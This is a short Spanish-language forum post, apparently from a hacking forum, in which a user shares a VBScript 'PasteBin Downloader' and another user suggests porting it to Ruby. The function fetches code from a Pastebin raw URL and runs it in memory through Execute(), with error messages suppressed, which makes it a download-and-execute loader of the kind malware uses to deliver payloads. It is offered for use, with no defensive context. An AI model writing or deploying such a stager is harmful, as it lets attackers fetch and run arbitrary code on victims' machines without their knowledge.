PasteBin Downloader VBScript

[xXSCORPIOXx]

Bueno, esto es un simple PasteBin Downloader, lo que hace basicamente es descargar el codigo (VBScript) de PasteBin y ejecutarlo en memoria.

Código (vb) [Seleccionar] Expandir

Function sDownloader(sPasteID)
    On Error Resume Next

    Dim GetCode, GetResponse

    Set GetCode = CreateObject("MSXML2.XMLHTTP")
    GetCode.Open "GET", "http://pastebin.com/raw.php?i=" & sPasteID, False
    GetCode.Send

    GetResponse = GetCode.ResponseText
    Execute(GetResponse)
End Function

//Regards.

[BigBear]

estaria bueno traducirlo a ruby.